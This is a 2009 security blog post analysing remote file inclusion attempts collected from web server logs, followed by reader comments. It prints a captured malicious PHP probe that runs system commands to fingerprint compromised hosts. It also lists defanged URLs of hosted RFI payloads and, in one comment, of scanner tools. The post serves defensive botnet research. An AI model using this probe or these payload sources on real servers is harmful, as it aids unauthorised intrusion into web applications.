Posted on Wednesday, January 28th, 2009 | Bookmark on del.icio.us

Quick RFI Analysis

by Jose Nazario

I’ve started to collect RFI attempts, logging the attacking IP and what the URL they’re trying to include is. I’ve started to work on this because I’m looking for certain botnets and tools used by them, and they’re not accessible otherwise. This seems like an under-studied area of botnet tracking. Most of the time I find these little “tracker” scripts that are used to mark a site as worth coming back to. They have modest AV detection and often look like this:

function ConvertBytes($number) {
$len = strlen($number);
if($len < 4) {
return sprintf("%d b", $number); }
if($len >= 4 && $len <=6) {
return sprintf("%0.2f Kb", $number/1024); }
if($len >= 7 && $len <=9) {
return sprintf("%0.2f Mb", $number/1024/1024); }
return sprintf("%0.2f Gb", $number/1024/1024/1024); }
#
echo "Osirys<br>";
$un = @php_uname();
$id1 = system(id);
$pwd1 = @getcwd();
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {$free = 0;}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {$all = 0;}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;
#
echo "0sirys was here ..<br>";
echo "uname -a: $un<br>";
echo "os: $os<br>";
echo "id: $id1<br>";
echo "free: $free<br>";
echo "used: $used<br>";
echo "total: $all<br>";
exit;


0sirys is a very common handle in these I’m finding.

So far since the 15th, when I’ve started to actually store these logs, I’ve seen the following countries hosting RFI scripts. It’s no surprise that the US dominates with so much web hosting:

Injected IPs by country

The US also dominates by the number of scanning IPs, ones seeking to exploit a web app:

scanning IPs by country

Discovering these is pretty easy, just some regex filters over Apache logs followed up by some simple processing and storage in a database. So far the most popular script I’ve seen injected is this one:

hxxp://fasttorrent.org//admin/x/copyright.txt
hxxp://redwoodtv.co.uk/images/fx29id1.txt
hxxp://www.gm-immobilien.info/components/com_id/fx29id
hxxp://www.vust.net/contrex/id1.txt
hxxp://www.tos-belarus.org/scan/copyright.txt
hxxp://203.114.112.155/webboard1234/1.jpg
hxxp://ballermarketing.com/article_directory/includes/id.txt
hxxp://i0.co.kr/i0mall//admin/idxx.txt
hxxp://www.thedead.se/vnc/fx29id.txt

It looks like a simple marker for success, as opposed to an agent. Defense against these sorts of attacks is usually all about updating scripts and the like. AV is rarely ever invoked. But this appears to be a growing problem in the botnet community, and one that wont be going away soon without a solid, popular solution.

Popularity: 5% [?]

4 Responses | Add your own



Comment Post by: Lukas — January 28th, 2009 @ 7:50 pm EST  Reply

Hi Jose, I’ve written a Python script, to attract the RFI scanner. After answering the echos they send the bot which could be analyzed. Your findings are very common.
Greetings, Lukas

Comment Post by: Nart — February 1st, 2009 @ 10:12 pm EST  Reply

the scanner:
hxxp://pastebin.com/pastebin.php?dl=f3f6eac52
hxxp://darkc0de.com/c0de/perl/v6ircscan.txt

Comment Post by: hafiz — February 20th, 2009 @ 5:38 pm EST  Reply

hi,
I’ve been collecting rfi stuff from november last year and have around 5k uniq malicous code.
We are happy to share stuff for the interest of making internet better place :)
See you in Putrajaya

Comment Post by: Michael Mol — October 4th, 2009 @ 2:59 am EST  Reply

I noticed a pattern to the request URLs, at least for the 0sirys probes to my server (They all appear to use the same pattern for the file name they try to pull a PHP script from). I was thinking of setting a rewrite or redirect rule for them, feeding back garbage data, or blocking them entirely. Care for some traffic? (Reply via email preferred)

Leave a Comment